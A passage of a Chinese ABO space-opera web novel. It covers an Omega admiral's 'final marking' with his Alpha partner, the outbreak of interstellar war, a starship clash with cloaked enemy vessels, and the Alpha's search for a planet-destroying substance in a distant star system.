闻铮抬起双腿，那双把哈维绞杀的有力长腿，此刻却夹上了裴简珩的腰，用力把他移向自己，在他耳边呢喃：“可以的，我们做了这么久了，赫尔说现在的我可以承受，这是医嘱。” 裴简珩的喉头滚动了一下，再一下。 理智告诉他，不对，他得亲自去和赫尔确认一下，事关闻铮的身体状况，他不能冒险！ 属于Alpha的感性却在他身体里不停怒吼——你还要怎样？！还要你的Omega再如何求你吗？！ 闻铮的下一句话，更是让裴简珩的感性将理性吞噬殆尽。 他笑了一下，小梨涡在他脸上漾开了一个醉人的弧度。 “简珩，我什么时候骗过你？” 裴简珩双目赤红，攻池掠地的程度让闻上将几近崩溃，从没想到裴简珩竟然能疯到这个地步！ 当进行到最后关头，闻铮已经死去活来，裴简珩还要在他耳边命令：“打开！” 这是裴简珩第一次对他用如此强硬的命令口吻，在这个瞬间，Alpha的征服欲和裴简珩对他的独占欲已经无法控制，让超S级Alpha终于露出了骨子里的强势！ 早已习惯了发号命令的闻铮却没有在此刻感到冒犯，相反，裴简珩的强势和强硬，却让闻铮心头狂跳。 “啊——！” 闻铮垂死般仰起了头，宛如一只引颈就戮的天鹅，而裴简珩就是捕食猎物的鹰，凶狠地叼住了他的脖子，将自己最高浓度的Alpha信息素悉数融入！ 卧室内陷入一片寂静，只有两个人彼此重重的呼吸声。 闻铮叫都叫不出来，几乎气若游丝，一口气差点都喘不上来。 他明显感受到身体的变化，裴简珩的檀木香信息素不只是沾染在他身上，更是直接从他的体内散发出来，自己那种冷空气的信息素之中，散发出了强势的木质香，宛如雪原中冷冷伫立的傲然巨松。 “我爱你……我真的爱你……” 一切的语言似乎都无法表达裴简珩此刻的心情，他终于得以完全拥有闻铮，100%的、全部的闻铮。 他死死地搂住深爱的Omega，一边絮絮爱语，一边落下泪来。 在裴简珩的脸畔，闻铮也抖动着纤长浓密的眼睫，泪珠一滴一滴沉默地滑下来。 等太阳升起，他们就将分别。 此去九死一生，唯有这最后一晚，和身体里属于对方的烙印和气息，聊以慰藉。 在黎明破晓前的最后几个小时，他们再没有说话，只是紧密相拥，要把这一晚牢牢地烙印在骨血里，谁都别想再把这份羁绊和记忆从一对爱人身体内拿走。 …… 等闻铮再睁开眼睛的时候，身旁已经空了。 他强撑着直起身来，身侧原本裴简珩的位置，只留下了一条他经常佩戴的领带。 闻铮伸手，轻轻抚过那条领带，上面还残留着他的爱人身上的气息，让这个刚刚接受过最终标记却没有Alpha在身侧抚慰的Omega能有一丝安全感。 下一刻，闻铮神色一变！ 他翻身下床，冲到了卫生间，对着马桶吐得天昏地暗，到最后甚至吐出了血来！ 闻铮撑着马桶的两边，呼吸急促，他的胃里宛如翻江倒海一般地痛，太阳穴也像被针扎了一样，甚至于短时间眼前发黑，站都站不住！ ……他知道自己怎么了，也知道这是什么的代价。 但闻铮心甘情愿。 卫生间的门被刷拉一下拉开，一个雪白的身影急匆匆地踏了进来：“——闻！”—— 作者有话说：小情侣短暂分开一下下，相信俺，俺是亲妈，说了不虐就不虐！ 第153章 等我 闻铮有气无力地抬眼看去, 是赫尔，艾尔文人那张精致的脸上满是担忧和焦急。 赫尔在知道他的打算以后大吃一惊，但拼尽全力也无法阻止——谁能阻止斯洛克犟驴？！ 于是他只能退而求其次, 要到了闻铮的住址和部分权限, 急匆匆地一早就赶来。 果不其然，闻铮几乎半晕在浴室里！ 赫尔赶忙掏出针剂, 快狠准地一针就打在闻铮胳膊上，过了一息, 闻铮那口气才缓过来。 赫尔松了口气。 闻铮的眼底还有一丝茫然和脆弱，赫尔从未见过这个样子的他, 只有这时，他才流露出软弱的一面。 “四倍Alpha的信息素不是开玩笑的, ”赫尔叹气, “你太乱来了。” 闻铮勉强地抽动了一下嘴角, 气若游丝：“这不是……有你吗？况且你也说了, 不会有生命危险, 最多吃点苦，换一个和简珩的最终连结, 不亏。” 赫尔一句话都说不出来。 他眼看着面前这个坚韧狠绝的Omega，从死也不肯和Alpha上|床调节信息素, 更别提接受标记了，到现在拼着这具破烂的身体也要主动进行最终标记…… 他真是爱惨了裴简珩。 艾尔文医疗官叹了口气，给闻铮倒了杯水，喂他一点一点喝下，又把他扶到了床上躺好。 他凝视着闻铮苍白的睡脸，他在睡梦中也不安分，眉头紧皱, 一点也松不下来。 赫尔又拿出了一针松弛剂打了下去，给闻铮一个安稳的睡眠。 他想到了自己的老友，在心里叹气。 两个人都爱死了对方，只求命运垂怜，让他们都能在时代的洪流下平平安安。 别像自己一样，天人永隔。 …… 闻铮昏睡了几乎18个小时。 没人联系得到他，凯利斯急得团团转，还是联系到了赫尔才被糊弄过去。 这也就是裴简珩出发去玛特星系，闻铮还能用空间迁跃中通讯信号极差你自己收不到消息为由倒打一耙，不然哪里能瞒住。 佐以药物和赫尔的治疗，闻铮总算是从最终标记的巨大排异反应中缓了回来，虽然脸色还是苍白到吓人，但起码恢复了七八成。 赫尔双手环胸，看着正在喝药物补充剂的闻铮——这位闻上将此刻真的是难得的乖巧和听话，显然也知道是自己太冒险太固执，不想挨医生的骂。 艾尔文医疗官摇摇头：“你啊……就算是想进行最终标记，也别选在这个时候啊。最终标记后裴简珩就走了，你的身体缺少Alpha的抚慰，以后的不安反应有你受的。” 闻上将把营养剂喝完丢到一边，注视着家政机器人过来吭哧吭哧地把垃圾收走，缓缓道：“我没有时间了。” 谁知道他们还能不能再见面，谁知道他们还有没有以后。 在这个宇宙间，谁能拍着胸脯说是造物者的宠儿，一定会在大战中全须全尾地活下来？ 赫尔也没说话，他也能听出闻铮的言外之音。 又缓了五分钟，闻铮站起来，谢过了赫尔，转头钻进房间。 十分钟后再出来，他已经变成了穿着全套联邦上将军服、凛然不可直视的第三军团之刃，任谁也想不到，十分钟之前，他还为了和爱人的连接，几近濒死地躺在地上。 闻铮抬手看了看通讯的时间，对赫尔点头：“走吧，我们也要准备出发了。” 经过了昨晚和今早，他的声音比平时更沙哑。 踏出房门的一瞬间，闻铮垂下眼，伸手缓缓摸上了胸前佩戴的领带。 那股檀木香，让他感觉好安全，好似一颗飘飘悠悠的心，在戴上这条领带的那一瞬间就落到了归处。 …… 星历4012年12月17日，德瓦帝国幕僚长，阿维尔·斯坦柯夫率领哨兵5军与哨兵7军压往联邦洛河星系边境，在太空中包围了洛河星系5、6、7号星，宣告第三次星际战争正式拉开帷幕。 星历4012年12月18日，联邦“第三军团之刃”、前第三军团上将、前悬空号舰长闻铮，重归联邦军部，再任前职，率领第三军团及悬空号奔赴洛河星系。 星历4012年12月19日，联邦第二军团上将瑞德，率领第二军团奔赴东翼战场。 星历4012年12月20日，联邦五星上将艾德莱斯，在联邦首都星发布讲话，官方回应德瓦帝国的宣战，并喊话德瓦帝国为宇宙和平及母星所有生命考虑，结束战争避免更大伤亡。 德瓦帝国以向洛河星系7号星投掷的一枚光子鱼雷进行了回应。 战争，开启。 …… “舰长抵达舰桥！” 清脆的少年音响起播报，闻铮抬眼看向了悬空号的舰顶，轻轻笑了一下：“谢谢，戈维。” 回到军部以后，闻铮就把霍华德、蓟梨草和B-356都交给了艾德莱斯，还有那些幸存的艾尼默人和Alpha，他们所经历的一切都有迹可循，人证物证具在，德瓦帝国的阴谋昭然若揭。 只有一事，闻铮没有说。 也只有一物，闻铮没有给。 他不能拿裴简珩冒险，如果这个世界上一定要有人攥着可能影响裴简珩生命的东西，那只能是闻铮自己。 除此以外，一切都过了明面，包括德瓦帝国目前最强大的智能融合体，戈维.斯坦利。 程迹和黎晓研究了好几天，还在军部科学家的帮助下，将戈维从逐星号上迁移到了悬空号上，只是出于安全协议考虑，加盖了一层防护，对此戈维也没有任何意见。 他能以这种方式登上星舰，去到太空之中，还能为闻铮、为联邦贡献自身之力，已经别无所求。 戈维虽然没有类人的身体，但数据和网络就是他的眼睛，他“注视”着一身上将军装的闻铮，恍然间又看到了在天桥上穿着风衣的那个青年，那双墨色的眼睛看似冷淡，眼底却藏匿着对弱势无限的温和与包容。 要是阿林早早能遇见他……就好了。 这时，闻铮的声音把他的思绪拉了回来：“戈维，开启全舰广播，我们将于二十分钟后起飞，驶往洛河星系7号星。” 戈维应了，随后全舰广播了闻铮的命令，巨大无比的悬空号有条不紊地运行了起来。 闻铮踏上舰桥，悬空号的舰桥比破晓号、DEHWA-2075和逐星号都要大，十几个舰桥军官各司其职，看到闻铮踏进舰桥，都对他微笑点头示意。 闻上将、不，在悬空号上，职级高于军衔，他是闻舰长，是这艘联邦最强战舰的最高指挥者。 闻铮缓缓坐在了舰长席上，淡淡道：“第一大副，报告星舰状态。” 金发大副站在他身侧五步远的大副席位上，颔首：“收到。悬空号各部门进入准备状态！” 舰桥的广播传来了黎晓的声音，闻铮听得出他声音里的紧张：“脉冲引擎状态正常，空间迁跃核心稳定，轮机室准备完毕。” 茱莉坐在科学官的位置上，推了推鼻梁上的眼镜：“引力场正常，起飞路径未扫描到障碍物。” 广播中赫尔的声音也传了过来：“医疗舱一切准备就绪。” 凯利斯点了几下屏幕，冷静道：“悬空号防护系统、武器系统均正常。” 坐在舵手首席位置上的是一个短发女军官，她耳朵很尖，皮肤微绿，是苏特人。临时升为代理首席舵手的凯瑟琳少校也沉声报告：“航线已锁定，随时启航。” 闻铮扫了一眼舵手首席的位置，有一瞬间的恍惚，倏而消散不见。 凯利斯转向闻铮：“一切准备就绪，舰长。” 舰长这两个字出来的时候，闻铮几不可见地漏了一拍呼吸。 他望向了前方一望无际的太空，声音沙哑。 “悬空号，起飞。” …… 另一边，一艘小型追击战舰凌风号正在空间迁跃模式中极速飞行。 身材高大的银发Alpha在面板上操作了几下，凌风号进入了自动模式。 他身侧有一个半隐形的纽瑟人朝他侧了侧头：“裴少将，我们已经起飞7个小时了，预计再13个小时后会到达玛特星系边缘。” 裴简珩身上穿着许久没再穿过的少将军服，颔首：“多谢。怀特，请告诉本次任务小队的全部二十三人，除非全军覆灭，否则哪怕只有一息尚存，都必须将Annihilation带回联邦。” 怀特敬礼。 裴简珩点开了通讯，置顶的那个对话窗口还是没有任何回复。 他早上紧紧抱着闻铮醒来，根本不想和自己刚刚完成最终标记连接的Omega分开，直到他的闹钟响起，不得不离开。 他最后在闻铮的额头上落下一吻，而他的闻哥只是微微皱着眉睡得沉沉，丝毫没有反应。 在裴简珩翻身下床的一瞬间，他看到闻铮醒都没醒，却下意识地伸手去抓自己，想要留下自己——这让他心如刀绞。 只是背负的责任太重，考虑的事情太多，所以他们只能……身不由己。 裴简珩望向了眼前寂寥深邃的宇宙，它漆黑得像那双眼睛，就连零零星星的星辰都像极了那人眼底执拗坚韧的光。 闻哥…… 闻铮…… 等我。 等我。 ——卷四. 再生之心 完———— 作者有话说：感谢34402499、苏怿清、珍白雪w的营养液！ 第五卷终卷正式开启！ 第154章 背叛 悬空号顺利地进入了空间迁跃模式。 凯瑟琳少校呼出一口气, 在座椅上转过身对闻铮点头示意：“报告舰长，悬空号正在以空间迁跃三级速度进行航行，预计在5天后到达洛河星系7号星。” 闻铮颔首, 他的手搭在舰长椅的扶手上, 凯瑟琳偷眼去看这位阔别已久的长官，看到他眼睫微垂, 那张俊美的脸此刻面色有几分病态苍白。 闻铮注意到了代理首席舵手的目光，微微抬眼看去：“凯瑟琳, 还有什么问题吗？” 凯瑟琳摇头，抿了抿唇还是说：“您脸色不太好, 还请保重身体……以及，很高兴您回来了。” 闻铮怔了一秒, 随后轻轻笑了一下, 颊边的梨涡转瞬即逝：“谢谢。” 凯利斯当然也注意到了闻铮的脸色, 赫尔在登舰前特意找到他, 私下里和他说闻铮身体不太舒服, 让他在舰桥上多加留意，如果有任何不适, 立刻通知他过去。 虽然赫尔避而不谈闻铮身体不适的原因，但他的表情很是担忧, 凯利斯也只能对联邦第一犟种舰长叹口气。 这时，通讯官楼怀哲少校倏地出声报告：“舰长，有通讯请求。” 闻铮转过去看向自己的Alpha通讯官：“谁的通讯？” “没有署名，是个人通讯。” 楼怀哲也很年轻，眉目刚毅身形挺拔，不像通讯官更像战术官。事实上他确实也精通剑术和格斗，有的时候凯利斯缺人都会把他叫上, 此前还开玩笑让他转来战术部算了。 闻铮听到以后白了凯利斯一眼，骂他你要一个精通二十多种种族语言的通讯人才去陪你天天打架不觉得浪费吗？ 通讯人才对这番通讯进行了来源解析，微微皱眉：“舰长，这个通讯是从洛河星系7号星拨出的。” 闻铮沉了脸色，让楼怀哲把视频通讯转接到了舰桥巨大无比的主屏幕上。 在三秒后，一个熟悉的面容出现在了屏幕上。 闻铮一怔：“……戴维尔？” 这个一向沉默寡言又无比可靠的属下，此刻正喘着粗气，声音压得极低，看上去像是在躲避什么，闻铮能从背景判断出来，他好像是在……7号星的总部大楼内？ 戴维尔没有对他的话有任何反应，闻铮意识到这不是实时通讯，而是一个视频记录。 他瞥了一眼楼怀哲，后者对他点了点头，示意他的猜测没错。 戴维尔瞥了一眼周围，声音压得极低，楼怀哲要把音量修复到最大才能听见：“闻哥，出事了。林瑜淞发动了政变，他把江悦推上台后的第三天就把她关了起来，我不知道他怎么做到的，但江悦所有对外的行为都被他操控！” 他似乎在躲着什么，面容上闪过一丝决绝：“我和罗斯警长想办法闯了进来，但我们救不了江悦！这个视频要靠罗斯警长带出去，我会最后再去试试，我不知道林瑜淞到底要做什么，又大肆搜集蓟梨草，又把江悦囚禁起来！但无论如何，7号星不能——” 画面在这里被切断。 舰桥一片静默，所有人都愕然万分！ 凯利斯更是猛地抬头向闻铮看去，碧色眼底划过冷意：“闻——” 闻铮抬手制止了他的话。 他眼神幽深，半晌都没有说话。 凯利斯心里也一空，他下意识地朝闻铮走近了进步，低声道：“闻哥，瑜淞怎么会——” “不知道。”闻铮缓缓道，“也许是他有自己的考量，也许是我看走了眼，但无论如何，我们现在陷入了被动的局面。” 他让林瑜淞帮助江悦登上那个位置，也是希望可以里应外合，在德瓦帝国也对7号星虎视眈眈的前提下抢得先机——不然谁知道那个覆面人还有什么人安插在7号星军部内？ 结果，安插的人，现在看起来竟然是……林瑜淞。 凯利斯神色阴沉下去，他这个人平时看上去玩世不恭嘻嘻哈哈，但生气的时候非常吓人，悬空号上很多人比起闻铮更怕他——毕竟闻舰长不会管一些小事，但他会，一旦犯了什么错，这位第一大副会笑眯眯地罚死你。 他在暗影组的时候身上没有背着第一大副的责任，和闻铮一样都柔和了很多，他把暗影组的人都当成了真心的搭档和朋友，尤其林瑜淞是他搭档最多的人，更是对他很信任。 只是—— 林瑜淞真的会背叛联邦、背叛暗影组、背叛闻铮吗？！ 凯利斯不相信。 但戴维尔的话又声声字字地落在这里，他是个很一根筋的人，不会说谎。 凯利斯咬紧了牙关，下意识地去看闻铮，却发现闻铮垂眼不知道在思考什么，他突然发现，闻铮不知道从什么时候开始，已经变得越来越让他摸不透了。 “舰长呼叫轮机室。”闻铮淡淡道，戈维立刻帮他接通了和黎晓的通讯，“黎上尉，启动空间迁跃四级速度，我要尽快到达7号星，越快越好。” 黎晓的声音传来：“收到！” 他眼都不抬：“凯瑟琳少校，我们最快可以多久到达7号星？” 凯瑟琳的掌舵面板上出现了最新行驶模式计算的数字，沉声道：“2天零3个小时。” 闻铮眼皮微合，浓密的睫毛在苍白的眼下形成了阴影，让他看上去非常冷冽。 除了他以外，没人知道他心里到底在想什么。 这时，舰桥上突然响起了滴滴滴滴的声音！ 程迹原本有些漫不经心的眼神陡然凌厉起来：“闻舰长！” 闻铮转过去：“怎么回事？” “有三艘隐形星舰正在向我们极速接近，”程迹看着屏幕，缓缓道，“……没有扫描到联邦的现役星舰编号。” 闻铮神色冷了下来：“楼少校。” 楼怀哲摇头：“我尝试发送了加密编号通讯，被忽略了。” 闻铮转回正面，眼神冷冽如刀：“戈维，通报全舰进入红色警戒状态。凯利斯大副，开启100%防护罩、100%隐形罩，二级武器准备。” “收到！” 闻铮注视着前方的主屏幕，当机立断：“对准三艘不明身份星舰，攻击其轮机部位。” 程迹微微挑眉：“闻舰长，你要主动攻击吗？” 闻铮淡淡道：“拒不回应联邦军舰通讯，我有权直接开火。” 他对凯利斯颔首：“看好时机，直接攻击。” 凯利斯双眼微眯，操纵悬空号的武器系统，但在战术系统导航仪上，这三艘不明身份的星舰的踪影却时有时无，宛如幽灵，让他根本无法定位！ 过了一分钟，发现还是没有发动攻击的闻铮皱眉：“凯利斯，怎么回事。” 凯利斯神色冷凝地摇头：“这三艘不明星舰的信号十分微弱，它们也开启了隐形模式，不知道配备了什么，扫描系统很难抓住它们的定位！” 悬空号配备的所有硬件设施都是联邦目前能力的天花板了，如果连悬空号都无法扫描其踪迹，只能说明这三艘星舰的科技水平——或者至少隐形装置水平——在联邦之上！ 闻铮右手食指和中指在舰长椅扶手上来回敲击了几下，大脑飞快运转：“凯瑟琳少校，请把目前看板观测到的这三艘星舰的轨迹测绘调出来。” 凯瑟琳立刻照做。 “戈维，”闻铮又扬声道，“请你分析这三艘星舰的轨迹图谱，能否找出一定规律，预测下一次出现的坐标？” “收到，”戈维立刻开始运算，他的算力强到可怕，眨眼间就得出了结论，“计算已完成，按照规律来看，这三艘星舰即将在十五秒后再次出现，但坐标点有三种可能，从数据出发无法进一步甄别。” “请投到主屏幕上。” 闻铮一边说一边站了起来，微眯双眼看着前方屏幕上的9个数据点。 十五秒…… 拒绝联邦通讯…… 未知身份…… 如果是自己在这三艘星舰里，他会怎么做？ 程迹在报时：“还有八秒钟。” 闻铮的眼神在某个地方顿住，转头下达命令：“战术官，对准我说的三个坐标，发射光子鱼雷。” 凯利斯立刻服从命令！ 眨眼间，三发光子鱼雷就从悬空号上飞向了看似空无一物的太空之中！ 火光冲天！ “两发光子鱼雷已击中，一发落空。”凯利斯双眼紧盯悬浮屏，报告道，“我们也受到爆炸波及，防护罩下降5%。” 凯瑟琳少校也说：“受到战斗损伤波及，我们和这三艘未知星舰一起被迫退出了空间迁跃模式。” “先不用重新进入空间迁跃。”闻铮缓缓道，他的唇边浮上了一丝冷笑，“我倒要先和这三艘星舰玩一会儿。” “凯利斯，扫描被击中的两艘未知星舰的损害情况。戈维，继续观察捕捉波动数据和隐身情况，我要知道第三艘星舰藏在哪里。” “茱莉，放大这两艘未知星舰的图像。” 闻铮又踏上了舰长台，坐在了转椅上，微微一笑：“我倒要看看你们到底是何方神圣，敢来拦我悬空号的路。” 第155章 不对劲 主屏幕上出现未知星舰画面的时候, 所有人都倒吸了一口冷气。 ——德瓦前行舰。 在联邦领空？！ 舰桥上几乎所有人额际都流下了冷汗，这得亏是闻铮在千钧一发的关键时机先发制人，三枚光子鱼雷打出去, 还打破了其中两艘德瓦前行舰的隐形罩！ 否则……等到他们发起攻击的时候, 悬空号就不只是损失5%防护罩这点伤害了！ 凯瑟琳少校作为舵手首席，最能感受到这种劫后余生的后怕, 她偷眼去觑闻舰长，那张面无表情的脸却给了她巨大的安全感。 果然……他们的选择和等待都没有错…… 程迹却眯了眯眼, 轻声问：“闻舰长，你是怎么知道这两艘德瓦前行舰再次出现的坐标的？” 连最高算力的智能融合体戈维都说没有计算逻辑可确定, 闻铮怎么就只是看了两眼坐标点测绘图，就能确定的这么准？！ “数学固然是一切进步的阶梯, ”闻铮淡淡道, “但直觉和经验也是珍贵的东西。” 闻铮在看到那九个可能出现的坐标之后, 就摒弃了一切数学和物理规律, 转而去想——如果这三艘似敌非友的星舰是他来开, 他的目的是什么？为了达成这个目的，他会怎么做？ 如果为了摧毁一艘星舰, 闻铮一定会先毁了它的空间迁跃舱、武器舱和底层生命供给舱。 切断后路、砍断臂膀、封闭呼吸。 至于作为指挥中心的舰桥，反而不是第一选择。 以此反推, 闻铮以悬空号的相对位置作为基准，赌了一把。 果不其然，这三艘德瓦星舰，被他们击中的两艘就是出现在了对准悬空号空间迁跃舱和武器舱最近的坐标上！ 至于第三艘为什么没有锚定底层生命供给舱……闻铮现在还没想到。 德瓦前行舰居然敢出现在联邦领空……这太荒谬了！ 闻铮当机立断：“战术官，立刻摧毁这两艘德瓦前行舰的武器系统和空间迁跃系统；科学官，扫描对方星舰内部生命体征；通讯官，拨给德瓦哨兵, 告诉他们，如果不在一分钟之内投降，我就把他们轰成碎屑。” “是！” 眨眼之间，凯利斯的光子鱼雷和相位炮阵列已经剥夺了这两艘德瓦前行舰逃跑和攻击的权利。 程迹开启了对敌扫描，看到生命热像图后有些惊讶：“每一艘前行舰上都只有五个人，根据物种识别机制，均是德瓦人。” 只有五个？ 闻铮皱眉，三艘德瓦前行舰加在一起十五个人，就敢冒险深入联邦领空，来拦悬空号的路？ ……绝不可能！ 楼怀哲接收到了两艘德瓦前行舰的通讯回复，第三艘仍然不知所踪，也不知道是跑了还是装死，亦或者别有居心。在得到闻铮的首肯后，他接通了通讯。 整个舰桥的人都在主屏幕上看到了两艘德瓦前行舰上的德瓦哨兵，气氛在一瞬间剑拔弩张了起来。 闻铮眯起眼：“阁下——” 他完全出于外交礼仪的冰冷招呼还没打完，对面的十个德瓦人已经一脸肃穆地行了一个德瓦帝国最高的军礼——当然不是对闻铮，而是对他们自己。 右拳连续敲打了三下左胸口，在高喊了三声“帝国万岁”之后，这十个德瓦哨兵一个接一个地用相位枪结束了自己的生命！ 悬空号这边还没来得及愕然，就看见最后一个级别最高的德瓦哨兵看向他们，黝黑的脸上浮现出虔诚的神态，一字一顿：“一切为了更伟大的复兴！” 说完，他按下了德瓦前行舰的自毁键，在画面消失之前用相位枪也对自己进行了量子毁灭！ 星舰外两艘德瓦前行舰的自毁火光绚烂夺目，星舰内悬空号的舰桥一片寂静。 就连闻铮，一时之间都被这帮德瓦哨兵的反应打了个措手不及。 半晌，一声轻微的嗤笑分外明显。 所有人都看向了这位不知来处的美女科学官，后者随手把玩着自己棕色的发尾，冷笑：“这帮人到底是干什么来了？” 所有人也确实都是莫名其妙。 你说德瓦帝国深入联邦领空，还能干什么？但就派了这么三艘德瓦前行舰和十几个德瓦哨兵来，都不够悬空号打两发光子鱼雷的。 自杀式袭击？ 也没见他们袭击了什么，只看见自杀了。 闻铮垂眼，他的脑子里在飞快地梳理这一切。他转身问程迹：“第三艘德瓦前行舰的踪迹扫描到了吗？” 程迹摇头：“没有任何踪迹，但我扫描到了残留的能量波动，是空间迁跃的痕迹。” ……跑了。 不对劲，十分得有十二分的不对劲。 闻铮和德瓦哨兵这个物种——或者说德瓦帝国这些被洗脑成功的战争机器有过太深的纠葛，他知道德瓦哨兵是个怎样的群体。 冷血、残暴、专制、好战……还有荣誉大于一切。 德瓦哨兵中绝不会出现抛弃同伴逃命的行为，他们鄙夷逃跑，将战死作为士兵的最高荣誉。 一共三艘前行舰，两艘战死，一艘跑了…… 不可能！ 而且他们现在这个坐标点……在烈云星系，烈云星系是联邦最重要的枢纽之一，东西南北在此分界，这三艘德瓦前行舰出现在这儿，根本不简单…… 闻铮沉吟许久，抬眼看向了楼怀哲：“请帮我在作战室接通和艾德莱斯上将的私密通讯，三分钟后我会过去。” 说完，闻铮起身离开了舰桥，而凯利斯作为大副立刻顶了上去，他坐在舰长席上下达了两个命令，第一是让轮机室派出维修机器人去修补那5%损伤的防护罩，第二是让通讯部和战术部合作，和联邦军部申请补足武器。 将星舰的一切刻入骨血的不止闻铮，哪怕离开了三年，凯利斯依然是那个和他一路摸爬滚打过来的，最靠谱的第一大副。 …… “对，是的……有一艘不知所踪。” “现在还不清楚，但烈云星系是联邦要塞，这艘德瓦前行舰去往东南西北都不无可能。” “嗯，我明白。” “还有两天就到达洛河星系7号星，7号星的动荡我知道了，我会解决的……” “……保重。” 闻铮和艾德莱斯的对话结束，他才缓缓放下了背在后腰上的手。 本来战争的打响就已经足够难搞，现在刚出发就又碰上了更加扑朔迷离的事情。 不知为何，闻铮总觉得心里不太安定，好像有什么事情即将要发生。 他点开了手腕上的通讯，凝视了一会儿置顶的对话框，最后一条还是裴简珩临走时候发给他的，絮絮叨叨的话。 再没有过新的。 他轻轻叹了口气，伸手摸了摸胸前的领带，似乎那薄薄的一块布料可以给他无穷的力量。 这时，通讯响了。 闻铮的眼睛先是一亮，再看到通讯号码的时候又敛去了所有惊喜神色，只剩下拧得死紧的眉头。 “……你到底在干什么？” 另一个声音细微地响起：“……我知道你一时之间很难接受，但——” “……你说什么？” “……你说什么？！” “……抱歉，我只是想让你先做好准备。” “……没有时间了。” …… “裴少将，我们将于五分钟后抵达玛特星系。”怀特看了一下路程，提前和裴简珩报备。 裴简珩点了点头，看了一眼通讯，微微皱眉：“我没有通讯信号了，你有吗？” 怀特也摇头。 他们此刻进入了玛特星系周围，不知道是不是因为虫洞的关系，玛特星系和星系外的通讯信号极差，但星系内就还好，虽然也很慢，但相对来说还勉强能用。 裴简珩心里担心闻铮，他知道闻铮也会担心他，但他们此刻实在是……互相都联系不上，竟然只能靠祈祷和命运了。 凌风号驶入了玛特星系，裴简珩收回了思绪，问下面的人：“李珂，有虫洞的影子吗？” 李珂摇头：“现在还没有，不过玛特星系的这个虫洞一直都是神出鬼没，不确定下一次什么时候出现，说不定一分钟后就在我们面前了也说不定。” 怀特翻了个白眼，把手里的一个橘子砸到李珂身上：“你少乌鸦嘴！” 他俩是裴简珩手下最得力的下属，此前还有一个罗伊，只是罗伊后面选择离开了这里，转而去了逐星号。 裴简珩和段洄手底下的人都是各个种族的一些“能人异士”，比如怀特就是可以随意隐形，李珂能读心，曾经的罗伊身手十分了得，近战速度奇快无比。 这次凌风号上的二十几个人都是这种类型，这个组织也算联邦的一队暗地里的奇兵了。 因为’Annihilation’目前是联邦最高机密，甚至高于了裴简珩的基因改造级别，所以让这个组织来做一些上不了明面的事情倒确实是最合适的。 裴简珩操作了几下仪表盘，整个玛特星系所有行星状态都一览无遗。 李珂凑过来，他是恩波人，头上有两个触角。恩波人对其他生物的内心感知一向更为敏感，李珂更是其中的佼佼者，他头上的触角朝裴简珩的方向微微一动，就说道：“裴少将，最近三个月能量在逐渐衰败的是这颗星球，玛特-B星。” 裴简珩抬起眼皮，似笑非笑地看了他一眼：“我是不是说过，不要没经我允许就读我的心？”—— 作者有话说：小裴高光时刻即将来临[撒花] 第156章 死星 李珂立刻低头认错。 裴简珩也就是随口一说, 没有生气。 他知道自己年纪尚轻，就算是战力及其强大，但作为领袖来说, 还是少了年岁堆叠的经验, 所以他对下属不会特别严肃和苛责。况且在他手下的这些人，各个也都是佼佼者, 心气都高，没必要让所有人都不舒坦。 裴简珩把目光移到悬浮屏上来, 李珂说的没错，他确实在找能量正在衰败的星球。 ’Annihilation’需要提取整个星球的能量才能凝聚而出, 如果段和华与段洄是在这里获取’Annihilation’，就会有星球正处于不正常的衰败中。 在出发之前, 裴简珩还和黎晓聊了一下, 黎晓也看过了和’Annihilation’相关的资料, 他的意思是, 段家不可能把这个物质存放在生命星上, 只要在它的辐射范围之内，长时间下来, 它的能量辐射会对生命体产生不可逆的影响。 再结合瑞德上将拿到的信息，在段家两父子毫无问题的行踪中突然多了一个时不时造访的玛特星系, 如果他们不知道’Annihilation’的事倒也算了，现在这么一联系起来，确实很有问题。 裴简珩原本还想再了解一下’Annihilation’具体的情况，只是他们所有知道的信息都来源于戈维在逐星号上查到的资料，黎晓也只能基于目前手里的信息来分析，再多的他也不知道了。 不过黎晓还有点疑惑，他心直口快地问裴简珩为什么不去问程迹, 同样的数据，程院士看到的东西会比他更多。 裴简珩没有回答，只是轻轻岔开了话题。 不知为何，在心底深处，他总是对程迹抱有几分防备。即使这一路程迹也没有做什么不利于他们的事情，但裴简珩总觉得这位克米恩人多智近妖，心思深沉，一路走到现在，他能把所有人都看得清楚明白，唯独程迹让所有人看他都是雾里看花，看不懂。 因此涉及到’Annihilation’的事，他并不想让程迹太深的参与进来，尤其德瓦帝国对克米恩人来说还有灭族之恨，如有选择，裴简珩用脚趾头想都知道，程迹恨不得亲手把’Annihilation’扔到德瓦母星地核里。 所以…… 裴简珩凝视着悬浮屏上玛特星系的信息，只能靠他们自己了。 他先是把正处于衰败期的星球都拎了出来，玛特星系的33颗行星中，6颗生命星段家不会碰，剩下27颗无生命星已经有6颗成为了死星，还剩下21颗，其中有5颗都处于衰败中。 裴简珩注视着那5颗星球，回溯它们的衰败进程，每一颗看上去都不像有人为干预。 而李珂刚刚说的玛特-B星，确实是这五颗中衰败进程最奇怪的。它在过去的三百年间衰败进度只有10%，却在近三年猛增到78%。 虫洞确实曾经在玛特-B附近出现过，但时间很短，照理来说不应该有如此大的能量吸收。 每条线索都指向了玛特-B，难道真的在这里？ 裴简珩敛眉思忖，随后右手一挥，把悬浮屏上那5颗正处于衰败中的星球扔走，反而又拎出了6颗死星。 李珂和怀特都是一愣，互相对视了一眼，有些不明所以。 裴简珩想，如果他是段洄，他会怎么做？ 段洄心机颇深，一贯会给自己留后路，难道没有想到如果在大战之前联邦军部就知道了’Annihilation’的事，难道就查不到玛特星系吗？ 真的会这么显而易见？ 裴简珩眯了眯那双湛蓝色的眼睛，沉声道：“李珂，怀特，现在对这6颗死星进行扫描，十分钟后请给我做个简报，我需要知道它们衰败消亡的全过程，以及现在的星球状态。” 李珂与怀特照做，但心里也有些疑问。 不是找’Annihilation’吗？这么明晃晃的衰败中的玛特-B不找，怎么反而回过头来要去看那6颗死星？ 李珂扭头看向还在沉思的裴简珩，他的侧脸俊朗深邃，这张脸在联邦军部绝对排名前三，还佐以一米九几的身材，很多军部都暗地里打探怎么裴简珩这样的家世背景、这样的外貌条件、这样的能力，居然还是个中校。 却没想到，他也在看不见的地方，把自己全部献给了联邦。 李珂有点心痒痒地想读一下自己长官的心，他的触角都忍不住悄悄抬起了一点。 实在是太好奇裴简珩到底要做什么了…… 自从他四个月前请了长假以后，他们这些人就再也没有过他的消息，直到前几天他跟着那位第三军团之刃一起回来。 而这四个月的时间里，他好像也发生了一些变化。 变得更加的成熟沉稳，思虑周全，不再是锋芒毕露的年轻基因战士，也没有了刚带领这个团队时候的束手束脚。 